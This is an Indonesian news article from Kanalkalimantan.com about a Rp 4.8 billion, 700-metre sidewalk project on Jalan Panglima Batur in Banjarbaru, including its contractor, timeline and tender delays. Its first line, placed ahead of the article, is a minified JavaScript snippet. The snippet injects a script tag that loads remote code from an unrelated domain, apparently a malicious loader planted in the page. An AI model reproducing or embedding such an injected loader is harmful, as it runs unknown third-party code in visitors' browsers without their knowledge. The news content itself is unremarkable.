(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Setelah proyek Jembatan Penyeberangan Orang (JPO) digarap, kini Bidang Bina Marga Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru melanjutkan program prioritas pembangunan trotoar Jalan Panglima Batur, Kelurahan Mentaos, Kota Banjarbaru, Kalimantan Selatan.
Digarap selama 210 hari masa pelaksanaan oleh CV Andhika Karya, pembangunan trotoar atau pedestrian Panglima Batur menggunakan dana APBD Kota Banjarbaru senilai Rp 4,8 miliar.
Pedestrian Panglima Batur akan dibangun sepanjang 700 meter dari depan SMPN 2 Banjarbaru sampai Balai Kota Banjarbaru.
Kepala Bidang Bina Marga Dinas PUPR Kota Banjarbaru, Adi Maulana mengatakan, pengerjaan fasilitas untuk pejalan kaki di Jalan Panglima Batur sudah mulai berjalan dan kontraknya terhitung dari tanggal 31 Mei 2022 hingga 27 Desember 2022.
Baca juga: Satgas TMMD Kodim 1022 Latih Remaja Desa Sumber Arum Jadi Paskibra Upacara HUT Kemerdekaan
Adapun pembangunan trotal tersebut dikatakan Adi Maulana dari SMPN 2 Banjarbaru hingga Balai Kota Banjarbaru.
Proyek pembangunan trotoar atau pedestrian di Jalan Panglima Batur Banjarbaru sudah dimulai. Foto: ibnu
“Panjang trotoar yang dibangun kurang lebih 700 meter dengan lebar variasi berdasarkan segmen dari 2,5 – 4,5 meter,” ujarnya kepada Kanalkalimantan.com, Jum’at (29/7/2022).
Dijelaskannya Adi pembangunan trotoar atau pedestrian jalan Panglima Batur ini akan menggunakan batu endesit dengan menggunakan pola freanch pattern.
Diakui Adi, sempat terjadi keterlambatan dari proses persiapan dokumen tender, seperti aturan dan harga satuan yang dijadikan acuan.
“Untuk proses ada sedikit keterlambatan diproses persiapan dokumen tender karena ada perubahan aturan terkait dokumen tender yang baru dan analisa harga satuan baru yang harus kami jadikan acuan,” akunya.
Lebih jauh dengan adanya beberapa kendala keterlambatan dipersiapan dokumen, Adi tetap optimis proyek pembangunan trotoar Jalan Panglima Batur selesai tepat waktu, pun jika terjadi keterlambatan pihak ketiga akan dikenakan adendum.
“Kami optimis pekerjaan akan selesai tepat waktu, walaupun secara aturan untuk pekerjaan yang tidak dapat selesai tepat waktu dapat diberikan kesempatan untuk menyelesaikan pekerjaan tersebut dengan diberikan denda keterlambatan sesuai kontrak,” bebernya.
Baca juga: Curi Honda Scoopy, Warga Pelabuhan Speed Batulicin Ditangkap Polisi
Proyek pembangunan trotoar atau pedestrian di Jalan Panglima Batur Banjarbaru sudah dimulai. Foto: ibnu
Sama halnya dengan JPO yang dibangun di Jalan A Yani Km 34, trotoar Jalan Panglima Batur ini juga diperuntukkan untuk para pejalan kaki baik yang berkegiatan sehari-hari, olahraga hingga bisa bersantai di dana. Serta memperindah kawasan di Jalan Panglima Batur.
“Trotoar ini hampir sama dengan JPO juga jadi fungsinya itu untuk memberikan pelayanan kenyamanan bagi pejalan kaki,” tuntasnya.
Dari pantauan kanalkalimantan.com, CV Andhika Karya sudah mulai melakukan pekerjaan beberapa hari yang lalu, nampak mesin ekskavator mini mulai menggali dan pelebaran saluran drainase mulai depan SMPN 2 Banjarbaru yang akan dibangun trotoar Panglima Batur.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More
This website uses cookies.